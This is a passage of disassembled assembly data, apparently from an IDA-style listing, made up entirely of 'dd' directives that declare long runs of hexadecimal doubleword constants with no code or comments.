607F83Dh dd 0BD7D1620h, 73C8EF7Ch, 336AEC39h, 0C6A4FEB9h, 51F13F35h dd 0A9D0865Dh, 792F809Eh, 3096CE21h, 0AB566F0Ah, 0C953DDBEh dd 48D5F076h, 0DB16DE38h, 5F57EB31h, 0CEB4EF9Ah, 0E8DE0A2Dh dd 26ABACABh, 3EAD561Bh, 0D648EE51h, 93AD0C00h, 0C846932Bh dd 0E8723A7Ah, 0E47E19Fh, 8E761E8Ch, 956D05EBh, 39141746h dd 8A722DCCh, 0C7276C15h, 97A4AA45h, 6254E22Bh, 2A6A41C8h dd 52A6427Bh, 0E1E4F2FDh, 65DB6ACFh, 0B0B814E8h, 2EBD36C6h dd 0F57D45Eh, 0C1EA585Dh, 41BD44CFh, 0EF108B52h, 2CA02C81h dd 34606F20h, 0B41DEE77h, 9F9E0DC2h, 6507C1FEh, 0B98045F5h dd 0EB17F82Dh, 0A0DA22CDh, 0F4CABB1Bh, 3CEB2B7Fh, 4C8E7FACh dd 0F0253E2h, 0B4B6F609h, 3E0FCEB5h, 69C7E30Ah, 0C78AD779h dd 54E92FCAh, 7D96FBA0h, 3860846Dh, 0F2B382B3h, 928E2049h dd 0FDDFA394h, 8A5EF229h, 0A83AE3F9h, 44257760h, 0CEC6883h dd 0AF8A6BE2h, 0E5A136E0h, 90BB4646h, 0A54B8B13h, 8CE28D7Ah dd 2F6611AFh, 8397B795h, 2B11ED06h, 1287F054h, 271A6871h dd 667B4DB4h, 1D5721h, 92A4F020h, 0F41EC86Ch, 0D70954CFh dd 17AD780Bh, 6B479D0Fh, 2D01DC01h, 0E1EE65E7h, 62DAD908h dd 0EA609692h, 3F5418E2h, 4B5BD28Ah, 1B2AEB17h, 991975D2h dd 95968B72h, 6EC9FD28h, 8D132CCBh, 0F68CF1D1h, 0E314C110h dd 5EF99A58h, 515DC169h, 83C8639h, 8FD3ED6Dh, 2827E510h dd 948A7F4Eh, 5C850362h, 0DA9EC1ABh, 26CAC5E3h, 97B79623h dd 96ED1144h, 7BFBF341h, 40414881h, 0CB5C0A4Ch, 47F633Eh dd 0C4B60CE7h, 2DE866B4h, 0C9BE1595h, 50D578Bh, 0C9BC4BD1h dd 0A46CE18Dh, 0C04B8A47h, 6143DA37h, 0B4DFBD3Ch, 9D608526h dd 0BF9FF803h, 630C6CC5h, 345F948Dh, 41090A42h, 91DBEA7Ch dd 0FEAF8994h, 69D40371h, 4A8E680Ch, 6E5294E6h, 0CFFC25D5h dd 4C118E7h, 0A0B08D85h, 7B73BB9Ch, 4412DF32h, 0C06FE51Dh dd 2B47B8FAh, 0CB061898h, 620AB824h, 0AA0CF5Ah, 1F1998E9h dd 39EC747h, 0E2DB1FE6h, 0CC154481h, 39E5CF04h, 0F1094444h dd 3F3CACA0h, 4B08401Bh, 0F99AC9C1h, 6DE03864h, 4E291BA9h dd 684D91F2h, 1582C968h, 32F2CC97h, 0C1143B23h, 0F952C83Ch dd 209B7D55h, 0EF784820h, 722986DFh, 0F5DB7699h, 4D83A283h dd 61178F62h, 59C2E027h, 0FE05FA3Ch, 0B545B339h, 0D3500F47h dd 0B8D15CBDh, 0F0BAF657h, 4B8DD391h, 0F426B5E4h, 892B1C11h dd 0D860C644h, 0C3739055h, 38DBD0A6h, 251928DFh, 0CF1D3AF5h dd 0A88A1994h, 0A56AA40Eh, 0C23681AEh, 7B9ED297h, 8CB1C746h dd 8643F000h, 66C799E3h, 16CAD45Eh, 0AF49955Bh, 3A55693Fh dd 98AFCC80h, 77A1CF92h, 0B6D71036h, 1F59CEF0h, 0A7991D78h dd 0B5277BC6h, 134FA5A6h, 1E9325FEh, 0AF1C9279h, 0C80B0E55h dd 250DF835h, 7080AD4Eh, 0B21CD734h, 3BC14481h, 2268E0D8h dd 0E450BD51h, 2F08A432h, 3CAB7B2Dh, 0E282C06Ah, 0C3AC203h dd 0C81886Ah, 871CFAE9h, 0CA7AB36Fh, 35D8BF37h, 0BAF3388Ch dd 0BBC315D8h, 99F81BC3h, 86642ACEh, 795BB710h, 8654E61Dh dd 57B0DFC3h, 7275481Ch, 8217428Fh, 5CFBAACBh, 8F826272h dd 6BBD0C52h, 86B808A4h, 0F5E7816Dh, 46AF27CFh, 0DC636805h dd 53BC6350h, 87BB4D72h, 0A8CB9CDFh, 785A8D37h, 0D00216FDh dd 781DD15Bh, 5DF6822Eh, 0C5A87992h, 0BE217311h, 0D5EE9402h dd 0ECB2F550h, 12DCB893h, 4D294506h, 0A1641719h, 5B4ECF2Fh dd 0FC783572h, 93B2183Fh, 82A14C48h, 4F1D8DC1h, 1AE48FC1h dd 330E43FDh, 58CA32EEh, 74A85FD0h, 0E2ED01B3h, 87C9851Bh dd 95308C3Eh, 23DF9EAEh, 0EB09531Fh, 0E619C7A2h, 0C32E292Ch dd 1F11F868h, 35076A0Ch, 2AAEEAFCh, 6961A39Eh, 0F41906E7h dd 717A423Bh, 1E90C195h, 0BEDE6E97h, 7C749F98h, 80686CE7h dd 59C025D5h, 9942A7EDh, 0F0A9A2FBh, 0A417F388h, 6B4FA2F4h dd 26441345h, 0A3EB12D3h, 0DE002357h, 2C1FDC89h, 346D4D34h dd 0E89E03CBh, 879481D0h, 0C462B7D2h, 71B79869h, 6F435F6h dd 5DEDA81Ch, 5A6F9FC2h, 4674EADAh, 0A39AA33Ch, 0D288EC79h dd 0C9EAC64Ah, 133897E9h, 0D43A738Dh, 738739E2h, 0A7A28546h dd 0BB68B1EAh, 0EBD7EEBh, 6BA3AAE1h, 0B6906D32h, 0DDAD337Bh dd 3B989B41h, 78C7557Fh, 55EFFFE4h, 0F1766449h, 0D0B4380Ch dd 2745B6B4h, 0BC64750Ah, 5AAB8962h, 1DEB038h, 226663D1h dd 9155CA2Fh, 5E8A3BA7h dd 400C068Ah, 0CFB2868Dh, 0DAB8C4BCh, 600E5743h, 71A158Ah dd 0F1C468D2h, 8D1E537Eh, 2E8D328Fh, 0CE9BA57Ch, 0F68D708Ch dd 79960629h, 0BFC0DE51h, 206FA31h, 3242115Bh, 0C22EAA9Fh dd 0E5290285h, 71322CFCh, 21E646C1h, 8CD1FA45h, 9EEAE7B4h dd 1DE8E935h, 3F52FB70h, 9EF69901h, 3B46CA23h, 9BEB77FBh dd 0D55C8F9Ah, 0D957EAB4h, 0F15164Ah, 4D832854h, 989B8A56h dd 1C89AD7h, 0B8456B8Eh, 0EADD3854h, 0A575684Ch, 40C642EBh dd 4E638AC0h, 0B044AB5Fh, 40D5B90Ah, 0EBD74F50h, 3EF57086h dd 9D2000CEh, 0DFF146D3h, 4A0F478Ah, 1FD5BCD7h, 0DD410F01h dd 7140DE1Bh, 0C2E5C2D8h, 9686BD2Ah, 0AAF7942Ah, 72F1F3C3h dd 0AD5DF7A7h, 5B0ED4ACh, 0E4E8BC2h, 0D483F58h, 638A8501h dd 0B171E399h, 0DC9BE4C3h, 171BAB69h, 576B4F14h, 65AB7049h dd 5D289653h, 1C355380h, 2F409C42h, 7CCF330h, 6464B58h dd 40520000h, 0C6F2CB9Ah, 5F952737h, 0B53728F3h, 0B29BA1EEh dd 0BDE1A880h, 0AAFA2D59h, 0FD994653h, 535A7477h, 5D053FC4h dd 4AAC7730h, 93F48989h, 0CA4C807Eh, 66B7916Fh, 9B7F30B5h dd 8853D409h, 1F35A200h, 0C8F375B2h, 0E52DCAACh, 7D673571h dd 6743F76Fh, 0FD4CEF2Eh, 0DA4211B1h, 1F276FBAh, 0F845E755h dd 8056DBEEh, 0D7C0FF4Eh, 0ECB41022h, 6A2A16FBh, 0D37FC6F0h dd 87BC205h, 4A104FCAh, 920A4BE3h, 37EA9E18h, 3223EEA0h dd 30D7952Dh, 0F3B816B4h, 0BDDD78C4h, 0ACBAA306h, 90471983h dd 25355477h, 0E2EA3678h, 221E7C78h, 369056B0h, 8DDCA414h dd 0D126BB87h, 615817DBh, 869220EFh, 0C9E00667h, 7F1FDC8Ah dd 0BC529D42h, 25820358h, 301C7051h, 977CDD10h, 1BB6EBBEh dd 75CBC808h, 43D805C9h, 0C0D9FCFAh, 0CCF510C5h, 1C66EBD0h dd 0BF24CB4Eh, 96EA2470h, 0B075056Dh, 96899F77h, 5771E815h dd 0F5674963h, 0D58AB2E3h, 35E5B4FFh, 7E1D2D42h, 79EC4CE7h dd 4B934C1Bh, 0CE5826F1h, 1AC12EA5h, 1E3F1B76h, 6A33E1C7h dd 94ECEF65h, 0B8DF481Fh, 0A12B0C61h, 8A5186CFh, 0BB67F72Ch dd 8B535F9Ch, 0F128C036h, 3169D0DCh, 0D736D836h, 7700823h dd 21C3C625h, 48E61C7h, 791711F0h, 0A1A44D8Dh, 0E904DDE3h dd 3ED8C6D2h, 9CC7E18Ch, 0FEC0ABA4h, 7F229DEh, 993400ADh dd 0CA5291A2h, 48985C39h, 1BBE4470h, 29C74DB9h, 72BCEF48h dd 0E71D6CDBh, 48FD6F3Ch, 613F3ECFh, 25A76692h, 9E3BCCECh dd 971DA382h, 0BDC0A698h, 0A8DDA91Ah, 5103C359h, 0BC19867Ch dd 91989949h, 224893EEh, 5B7AB00Dh, 2A8402CDh, 2CDDB1B4h dd 0FEA4A173h, 0E6CECB94h, 0EDFE90D2h, 0E69B550Eh, 86C44E44h dd 0C9B34E92h, 22E20149h, 0CA9A1212h, 1AAA37BAh, 9E72CDAFh dd 3246FF41h, 0F41F4F0h, 1AE5BC55h, 8E3352DDh, 5F5DB16Dh dd 0AA64A20Eh, 0C983A7B0h, 55CCC19Ch, 61708B98h, 0FE36C975h dd 1D9D0EC9h, 8329BA4Ah, 465A18E0h, 0A5BC9A94h, 556797EEh dd 52AE3256h, 67B4E56Fh, 6C1C8D2Bh, 64F548E4h, 85BDEDDDh dd 3915AB73h, 9129D5B6h, 98397ED9h, 44A67492h, 56A1260Dh dd 0A4019C95h, 1F2DC63Bh, 0F3775D78h, 661EA048h, 0E21EB902h dd 0DA3BF3C5h, 4DD0E197h, 0F1DDA32Dh, 0E20D2523h, 47C07D3Fh dd 6D68EF78h, 2DAB1514h, 5C7851FDh, 0CECF1E33h, 6DC1D91Ah dd 41404D27h, 0E8AF9E5Dh, 320BCC24h, 0E377119Fh, 6F5DE58Ch dd 9A0BBA70h, 0F913FDBFh, 3B40EF9Dh, 61C91FCFh, 0E3DE3778h dd 0DCFF59FEh, 9AD98D1Dh, 22E68E45h, 7B08DC05h, 0F217F0A3h dd 7ED072DDh, 0FC330873h, 92B6A15Ch, 97D5BDFFh, 0DE05660Ch dd 7974190Fh, 0B3704438h, 0A26ABFEDh, 1960E567h, 0EFC5C499h dd 0AFB14B31h, 0E3EC1F5Ch, 0A85F2B0Dh, 56758BCBh, 5ECC40C7h dd 230D2E9Ch, 4F9AB2ACh, 1FBEBB4Ah, 65C76829h, 9B7214CBh dd 0CB6C8048h, 20B3966Bh, 9796F3F9h, 6CB96B2Fh, 3A8B4D9Ch dd 0DB44ED91h, 0F68EA293h, 9F622110h, 64FB31F3h, 204400A3h dd 0B8EB495Ah, 3648479Dh, 0D9405C28h, 172E674Ch, 8F3D15FAh dd 59081AC5h, 94538050h, 0B6330B07h, 2AF02B72h, 0FD6E9C5Ch dd 313E8F5Ah, 46FF82h, 0C787E368h, 0B0463F7Bh, 26F23FFBh dd 0C76CC347h, 2E7E75BEh, 1F83CDB5h, 0DE96927Ah, 0CC4CC392h dd 8E05908Fh, 0BAFF54CAh, 62314A68h, 78F4A4DBh, 46E3A0AAh dd 0E9564A76h, 8D341A49h, 731B95DCh, 768E2AEBh, 5211C383h dd 7420C7E4h, 0A3847024h, 0D10534E7h, 0B908205Dh, 0FEBA591h dd 0AA036513h, 0A05194ECh, 39969F2Bh, 4730C0E9h, 0CB34BD4Ch dd 60F11F1h, 3CEFEC2Bh, 4DA9FA45h, 660BA7ADh, 0F6AC485Fh dd 0F8C41407h, 0A74F0EF3h, 4E21009Fh, 0C3D0A5D3h, 0DDFE026Ch dd 50C6D114h, 0A33F5564h, 0A9C65C8Fh, 0B20F6DF2h, 0FAE2DFEAh dd 8DBD479Ah, 9C5F8D46h, 0F311C540h, 0EAF17A23h, 0C5360899h dd 9BC73D5Dh, 0C3946EE1h, 0CCF75529h, 94933447h, 0CDD19677h dd 86BD44E8h, 0EA27EB47h, 2C7C19ABh, 482D4819h, 7B1F53D5h dd 0AFBF1F31h, 0D8539DD4h, 0B57F3B68h, 0AEDF1D6Dh, 3318A504h dd 39F55862h, 0BD60DD9h, 7A47A370h, 0A2821EA1h, 0F9EAF286h dd 0E9FC1DD6h, 2B8BB74Fh, 0FE825CA5h, 35501D39h, 10054D87h dd 0F57EF673h, 1E83CB62h, 0D699D422h, 0B04B26D9h, 8B287340h dd 353C2804h, 5FA02470h, 0DD1D920Ah, 0F01914B1h, 0C2C8C38Bh dd 7996CAD4h, 0B7429BFBh, 74A83342h, 3EEAD1B9h, 409FB2D7h dd 0ABBE5A4Dh, 0C981E2E5h, 0FAC2D974h, 49792ECBh, 0D2BB122Eh dd 0E86DF856h, 77E25E23h, 4DF3E79h, 5F3A33A2h, 4B1803BEh dd 77909561h, 0F1ABA91h, 44165CABh, 0C3872BFEh, 8D67569h dd 0E3380B68h, 0F05C94FAh, 0F621EB74h, 18995ABEh, 90EFFE0Bh dd 80AD4153h, 292B8D26h, 4C2FA56Ah, 57F6F032h, 31EE3CB2h dd 0C1737276h, 452CF28Ch, 0B811A074h, 0C76B1CE9h, 0E4CC36D8h dd 0E34F2F31h, 0DA0D10A9h, 0AD10A282h, 3A72ABE5h, 0AF27A180h dd 7CDB3597h, 0BF977A92h, 7A3690F9h, 0D7F836A7h, 0D8F3FC52h dd 8D00A07Eh, 91D838B6h, 0E9BE05BCh, 3D97B442h, 0AAA09A7Fh dd 0BE45582h, 0E7FFBA72h, 0C80B513Bh, 6C4C0B40h, 3FC11EDFh dd 0F8918A64h, 91DAC3E0h, 4627C3C5h, 0E2B5978Fh, 0EAB5FCE2h dd 0D5B23054h, 8346BF17h, 70C986Fh, 0F98C977Fh, 0E1228017h dd 65E96C98h, 0B6471B52h, 93E0FA9Dh, 33E8020h, 47B02248h dd 0F1FA78B2h, 5851C16Bh, 0BF513FE4h, 0F54C42D4h, 4CE05752h dd 0A3EAFB56h, 8E3F9308h, 7BC9FF83h, 0C148E367h, 5A901AC8h dd 9C7AE980h, 8AA44D67h, 4C5ACDDh, 2680DAA1h, 0B7252F65h dd 0D9602B5Eh, 0D27E39Ch, 0A4E1AB96h, 0EE5ACF88h, 0F7986BEh dd 0EF63D05Dh, 8BE56C87h, 6F110BD7h, 0DF7C88Eh, 1C977FCEh dd 5C1C902Fh, 735A346h, 53075C2Dh, 1F53A91Bh, 75A7E2F1h dd 842162E6h, 38123F43h, 0B8BC3B9Ah, 49EB34DDh, 1D87EDD4h dd 2431B71Dh, 0CBDF264Eh, 1C83B2DCh, 0E037261Dh, 7215D7ABh dd 7ADE959Bh, 68379E00h, 4242D8D1h, 4D751A6Dh, 7E5ED721h dd 1FA6A246h, 0A962FC40h, 6E99A9DFh, 0C9743563h, 3D421928h dd 3F2C25CAh, 0DFAB83B8h, 5C16A096h, 0C4C592EDh, 3A9D9ADCh dd 124A6686h, 0BF31574Ah, 187E4E52h, 8FE054F2h, 0A301BF78h dd 0BD99D3D4h, 0BCB4AFBCh, 63F2AF73h, 0A8F8679Fh, 0F28EA935h dd 0AF21D832h, 483BCF0Ch, 60B48928h, 1AB305AEh, 8D96A479h dd 0D5E8D826h, 621F2F75h dd 0E119CB93h, 3DE284EEh, 0CD77357Bh, 5782C8F4h, 73D42592h dd 0C28866C7h, 8D672C42h, 95A11B08h, 49396966h, 37EA7E90h dd 0CCD186C0h, 74E7DDB2h, 0A90B4947h, 9486291Ah, 955AA09Dh dd 79757B1Fh, 4B0DC7A3h, 3386090Bh, 2E2D6530h, 8043E446h dd 2FBA17DAh, 0A4777A32h, 252823BAh, 27112E09h, 0DC8C3D8Ah dd 45AC2B51h, 0BC5161C9h, 0F9F55F9Dh, 0EA91AECBh, 0DBBDAFFCh dd 6DA02B2Ah, 9175F10Eh, 92490240h, 0A89C6CF3h, 0E674C26h dd 6DB64B7Ch, 3E5DE137h, 3F1F3D6Bh, 7E6C4DDDh, 2334D50Dh dd 0BD1AE966h, 0EBBA2808h, 79974245h, 0C67688D4h, 0D6139407h dd 0B7EC11D8h, 493B8E18h, 0D63D0D5Ch, 0D9729FC7h, 0FE3E2D3Eh dd 0F9FDF60Ah, 0D2C90DB1h, 0C2E9C314h, 3BE06655h, 6C7FF0C5h dd 9296B3Ah, 2E0429E2h, 0A8E29B6Ch, 0D1B75DF3h, 91C3B0A5h dd 0CA227604h, 7F21994Ah, 42A97E6Bh, 1AF28F01h, 32692984h dd 2611E785h, 0A65AF873h, 0D90E581Bh, 53B2D0A1h, 68EB17EEh dd 244ED006h, 0D4EF8CFDh, 527F8624h, 0CAEFECF3h, 8FC514FAh dd 9D8BBF81h, 0A42A82CAh, 0CBDADC97h, 0B291CB7Fh, 0EA40D7C2h dd 0AC32A097h, 8D259296h, 0A8EB9049h, 1ACA63E0h, 0E8BD9A49h dd 64EAF6B5h, 0FDAF4DABh, 0CCFD87D4h, 786CD1D1h, 5255752Dh dd 535392A5h, 5B59AAB8h, 0F338AAA3h, 353C6E5Ah, 0F0DC9713h dd 53EC8D9Bh, 0D119393h, 28FF58F5h, 0F7766281h, 0E823561Eh dd 477D3BACh, 0D5E4D5B5h, 69EF6430h, 0AA36D241h, 49895D89h dd 0E6F2A4C8h, 1C000489h, 0CBCE3CAh, 78DE1E02h, 1DB264F1h dd 4D3418FFh, 90D89595h, 3927C9E0h, 2B7D0294h, 0C4F20F14h dd 56CC9436h, 189AD476h, 0A97D7CEBh, 0B0A8E36Ah, 0CD1FEE34h dd 0DA296FC3h, 0E89D4E33h, 12924A25h, 92952226h, 0F689A7C8h dd 3CBA6C74h, 260E16BAh, 9C2D43B8h, 363BA3B7h, 650D28ECh dd 0A2DB8ED2h, 569FC9DCh, 760BE262h, 5638D0C1h, 0FDD64B79h dd 576DB6F5h, 0E21C4EDCh, 7AA2BCEEh, 8ABEDD18h, 0B42B9301h dd 79DE3735h, 87A17DAFh, 7B05191Ch, 0E69C95C1h, 4C204D65h dd 59338532h, 0FEDFDBD1h, 0B1ABC339h, 9B492FC4h, 613310D9h dd 0D11538C3h, 8023ACB1h, 0A37A7886h, 0F12EBF3Eh, 34344369h dd 0A8EC9754h, 80AE7FB1h, 0B74555A8h, 65E98300h, 0C619DABEh dd 4AA8915Ah, 27CE497Eh, 0B8CE0C14h, 9BC51D0Dh, 0FE6979ACh dd 1C4AA2F9h, 745044F9h, 0B0C37B9Eh, 0F5B5516Bh, 0B66EA0BBh dd 0B31C3716h, 2EBFA6A5h, 0E57AE4FBh, 0D900FF5Dh, 50E2D313h dd 38DC399Eh, 0B757D481h, 834A49C1h, 6E278E30h, 0D0CE0050h dd 5E6E843Dh, 0B3E57F31h, 0E06E3437h, 48FEE69Dh, 0C616F93Eh dd 0F8149332h, 0AF2D9C4Eh, 4092DB81h, 0CF99BB59h, 0FE8F2EF3h dd 0E71E1F50h, 0E6AE9665h, 14BAABA1h, 0FDD4F6B2h, 0D4B10035h dd 4ECB381Ch, 0ACEBC3h, 0B4B543B2h, 7E2DA587h, 4C7162C5h dd 6BEE2E86h, 0C912184h, 6A2BCF9Dh, 2D3067B7h, 5777FBA6h dd 0D85F3A62h, 4C4E56F8h, 0E7F77A9h, 42B3D49Dh, 787433C5h dd 33BEAFEDh, 0C2036463h, 0CED586ACh, 5AC559D2h, 0A756B11h dd 0DD1CBCB0h, 87CF6061h, 0A6949D56h, 0B5856821h, 62EF3D21h dd 0EEBF7F17h, 16A06073h, 571EF6A2h, 9B186940h, 78093613h dd 0E4695299h, 0D8155E00h, 0A03A34A5h, 940B8010h, 2CC33DC0h dd 0BCEB2E38h, 13112811h, 0B8BC2CD0h, 0F0890A12h, 58DD5EDh dd 0C13B0A4Fh, 0FE28893Ch, 3F5F0756h, 94CDEFCFh, 69AA4C05h dd 0C81120Ah, 84170AC6h, 4A31E0E3h, 4F2D063h, 0A99E2D9Ah dd 68333250h, 825328EBh, 3D7268Dh, 56CDFA4Dh, 44FBFC13h dd 0F2B7D8AFh, 0B5E45E75h, 40D090E3h, 0A2CA623Ch, 0CCCA66h dd 650F7017h, 56FAD496h, 16BE6194h, 9541D9BAh, 12704297h dd 0C97DFCEFh, 4657A91Ah, 5DED88C7h, 609A1F0Dh, 92F75F1Eh dd 24097812h, 94EF6BF1h, 15D666ADh, 5F9CF897h, 519B34F4h dd 14F17196h, 0E9D058F8h, 0C72D56EDh, 2172A30h, 62FF673h dd 0CA75228h, 8E8ADD69h, 0DAE7D08Bh, 15B98C45h, 32A227DEh dd 0C1C6D811h, 3FF5C240h, 9B3B1342h, 0C3BFE1D3h, 0CFFBD00Bh dd 6C0E4028h, 0EA52496h, 4F4F89D1h, 673E1EADh, 78716AF7h dd 24355081h, 19ACEDBFh, 2E6F3B97h, 0CBCA0DC7h, 5CE38BAEh dd 0E148C1E9h, 0D9E4A48Ah, 6D039FBFh, 1119C4B8h, 333EA6D4h dd 69FCFF16h, 0F1483DEEh, 0F4B1A40Fh, 532EBAEEh, 10DA5F41h dd 0BC16159Fh, 0AF0B9E5Bh, 55AC84E9h, 0FD7132A1h, 29F841B4h dd 3A911A8Fh, 0F1D39DD8h, 65B13A3Ch, 24AACB45h, 0DB089948h dd 9F3BAA13h, 555EB7C1h, 62ACFD6Eh, 5DA2FA3Ch, 65A9EC8Eh dd 3FBCADA1h, 0C3E0948Eh, 0C1CDBFA5h, 399E5420h, 84C2ACD9h dd 2C32946Dh, 4DE05E2Ah, 321EE375h, 23C8EC04h, 1E53E1A0h dd 0AD058FC6h, 0DF5A8F76h, 73C9334h, 0D3EB166Fh, 6C48BF80h dd 5AE358E0h, 79611342h, 0EDAEC305h, 5CF729Bh, 5858B0E2h dd 845C8180h, 197941B8h, 6193C689h, 3AA9241Fh, 0D7BE1B8Eh dd 0B980A765h, 0B68CCA64h, 0D96DE981h, 0C16A26C6h, 34394256h dd 91CCDE0Ch, 0AB5F227Bh, 146CAE8h, 0EE2725FBh, 0DF0AE487h dd 5C818BC9h, 0FB82B003h, 42EB5179h, 53D13752h, 543D9AC0h dd 1EEDF4B6h, 0D345B369h, 0DB6F87E1h, 0AF7F0B5Bh, 0A15FCE8Eh dd 5CCD90D3h, 0F0CA6498h, 0F72DD273h, 0C08B9DD4h, 82DCE498h dd 877C136h, 93BA2E5Fh, 7130163Ah, 4137FD3Fh, 2F98B7B3h dd 6F4A5873h, 72AD0CD9h, 0D99EEDCFh, 0B5DAE194h, 8BEFEE0Eh dd 0D5E686F6h, 4184E398h, 7090586Eh, 2E9854B8h, 0FC1097B7h dd 13F42005h, 0A6F4A2C9h, 4B2D4F63h, 0FD09409h, 0DCF3D9B9h dd 0BB32E5E8h, 0B5ADE68Dh, 0E5F74BEFh, 0C7FE3588h, 84B799ACh dd 0D100DBC1h, 0A3F5241Ah, 4FD567BDh, 0EE2F422Dh, 42BF02A6h dd 8827E024h, 251F6D16h, 77A05B98h, 10F7DF3Dh, 2250FD9Bh dd 0EB50E168h, 780ADD12h, 0F640459Bh, 6FCD8CD2h, 5A86FAD6h dd 2EA94CAAh, 7F5C96D6h, 442AABF9h, 0DF6F942Bh, 2D1A0B80h dd 57F5E05Ah, 0D25526C2h, 43D1088Fh, 0FE5E7CEFh, 0E4959CCDh dd 8686518h, 0E8BED196h, 6D1495B6h, 0F983A3CFh, 35DBD992h dd 405D734Fh, 8C0E0274h, 4C9E8E0Bh, 0CF0F7D6Ah, 58C7DE4Fh dd 0D9BA989Ah, 1D30CE8Dh, 6B93FF06h, 4FDD9E0Ch, 0DB300BFBh dd 0AF64E089h, 0E0A2371Bh, 0B69BDDh, 0EEC7BDCFh, 0BEBBE948h dd 6C89B0CEh, 3B279321h, 0D965B806h, 32492F46h, 0E248AD82h dd 0F4D92D69h, 6550977Bh, 0E4D452ACh, 28355928h, 0A7AECE13h dd 61938D3Eh, 2FD59E01h, 0E14DF6B4h, 8AB19AF2h, 0DE5BCA20h dd 5654D12Ch, 0EC9944C8h, 2F9D52A5h, 0DF51CD94h, 0B87C1DD2h dd 66B0B58Fh, 0C7BCF86Ah, 4D1F44DBh, 0C4348998h, 0AAFD9555h dd 8078AC12h, 607AB1AEh, 435BEDC8h, 2CAFABD5h, 0CA8A722Fh dd 27B85E47h, 8BCD167Eh, 0C2662223h, 5A587668h, 6886836Eh dd 9B2C2529h, 26A4DD34h, 0BC86CAC3h, 9DC7E5AFh, 5450AA55h dd 0A053F23Fh, 0D1B9BC4Bh, 643CB6C7h, 0FF5DB885h, 1FCB0C7Bh dd 0EBB45004h, 0A712FE1Dh, 94CD4A42h, 0BE487543h, 0D3A6099Dh dd 87E4FEA5h, 8C08046h, 4BBBB08Dh, 8E15ABC6h, 0A553D7B8h dd 2235C697h, 0B958821Eh, 0DA742AAAh, 5CA333C2h, 5D287147h dd 0F62339AFh, 0BEA8049Ah, 0E19535B6h, 0B3DA30CBh, 414B791h dd 0BF0328DBh, 68CE9F4Dh, 93969915h, 0C8D102BDh, 77012B12h dd 0B8C042EBh, 4BB5AEC8h dd 0FE504873h, 800D8957h, 5F2401ADh, 6FC2D0A3h, 524F90AEh dd 5B333913h, 0D6FAE5F6h, 847C07F6h, 921CE227h, 821CD2A9h dd 0C08A24EAh, 0B3BE7E85h, 43DC17ACh, 30389C5Eh, 580FA503h dd 4B4CEC54h, 0F5076F3Ah, 99C465F6h, 0E9EFE721h, 6229A7A5h dd 0C9C7EAD4h, 5199F985h, 0AB099783h, 68E9A4Eh, 0B6B5CF23h dd 0BE41F438h, 0F8EDFB9Ah, 57CEFE55h, 0B820614Dh, 7B88A4F3h dd 6C8917B6h, 6119543Eh, 160F3F4h, 0CB4EB8F6h, 53D8D8BAh dd 0E4C0FE24h, 2C87B944h, 7E06Fh, 0D076FE93h, 0E8D996D1h dd 0CBEA4329h, 5EF0C0D0h, 0FA479F8h, 0D46D97B3h, 2C5B7D69h dd 8F752E80h, 2E8F1289h, 660230Ah, 65977E51h, 0A173A90Ch dd 2BD5521Eh, 3C323653h, 9FED9E4Ch, 91D947A6h, 0F01B9AB7h dd 0FFC46D03h, 9B5F228Ah, 0F0D42B5Bh, 7C5FA8A7h, 0D6F626B4h dd 0D9062C35h, 0FC89F268h, 1147A27Ah, 0EEFED5A2h, 912B7B62h dd 59AF5A3h, 237E73F7h, 64C8BCE4h, 8D82AB69h, 0E2DF71F7h dd 153BCA3Fh, 98380FD9h, 628C7E1h, 0D0E6F172h, 1B4F65AAh dd 0A9A6CB70h, 21CBE1D5h, 2294569h, 6E75BDEAh, 0A373C5FDh dd 6E0D4722h, 5CFE0B14h, 0DB242B8Ah, 45BD3840h, 0D5A3C9BFh dd 3C698385h, 0E44E17C6h, 96628C6Bh, 1D70B570h, 0C1BFB7ADh dd 0A8902C49h, 0F6EEB6F9h, 0E085D60Bh, 2C07DD2Fh, 0BEF94FAFh dd 5A23E2CCh, 46277F24h, 7AEE777Bh, 0A975BAA7h, 1587BDA8h dd 5234B7A0h, 4D960861h, 33D71792h, 0D2DD76B9h, 0DF51C82Dh dd 6135CE6Ch, 6A7A32EEh, 98D688ECh, 255DD0Ah, 566789E0h dd 21AB8435h, 0B949F05Dh, 61B9F881h, 464C37B2h, 0E9BC61B1h dd 93C12D42h, 0CD769DA6h, 238CFFBBh, 0A3267B21h, 0C2C9FE57h dd 64F6EFC7h, 65381F69h, 5EBAB19Ch, 98F826EAh, 0D4174D4Eh dd 6219DB97h, 98874920h, 5C9E901Ah, 0C2EBD2D6h, 661ED6CAh dd 0C0CE525h, 0DBDC71FFh, 741FA293h, 0BA8831B3h, 0A6171355h dd 0E923AD8Bh, 47652E05h, 0AB50D21Fh, 0D8A4DD30h, 1EA9DD48h dd 0F867E9FCh, 7E375C27h, 0EE5712B0h, 5E06F6E8h, 0B15539AAh dd 5D4315C8h, 0B820EF0h, 1190403Dh, 0E751F167h, 0F80B0BEAh dd 3ECF0D56h, 63D3CB62h, 0B7D380F8h, 700A00CEh, 75E24900h dd 0BE76E93Ah, 52F01800h, 68871513h, 0D9B3CBD8h, 5BF77A5Fh dd 2D3F2268h, 66AF5CE5h, 80E3B73Eh, 3FC256CBh, 2EE7BA56h dd 0D64E47C8h, 0F9BAC5D4h, 0D94DA17Dh, 95FDE7A0h, 0F391218Ah dd 91C23E34h, 7F7756C0h, 60F0E781h, 0D527CE8Eh, 51412C04h dd 3E426174h, 0AB35C904h, 0E5672B8Eh, 0A94BAh, 0BB53AA69h dd 3B0966D8h, 42B6D6B0h, 7B22A0EFh, 7466BF81h, 9C406777h dd 8B868A2Ch, 1813AB0Dh, 464406BCh, 0E2263177h, 34C38ED8h dd 9930FD7Ch, 0ECBC58B1h, 0A0F32B51h, 1BD63A63h, 896E2A65h dd 84A1EB24h, 30F674FCh, 1959034Ah, 8EE02F10h, 941ACC6Fh dd 0E249EA9Dh, 1BD8DD4Bh, 584838ECh, 13059661h, 85675E1Ah dd 0B6B3DAAAh, 0BC93B6C1h, 2D57B8DBh, 0F199EF77h, 0C8415376h dd 67BEF6D7h, 6BC5934Dh, 4B6DD5BDh, 0F9BFBE98h, 7CCBBE8Fh dd 278C59B6h, 0A46C9B16h, 8C10508Bh, 65F5D6A9h, 0E272A649h dd 11EDE54Ah, 30656EBBh, 63B1E559h, 7D24E07Dh, 778EF752h dd 3F421525h, 0F21DBC67h, 0B29F0A50h, 3B63ACBFh, 3C636567h dd 0AFA131B4h, 71226E13h, 9CD0FB80h, 0ED6DC9EFh, 73A56DE2h dd 2A2F91Ah, 8351AEA9h, 0BFD7C395h, 7873FF7h, 5701988Dh dd 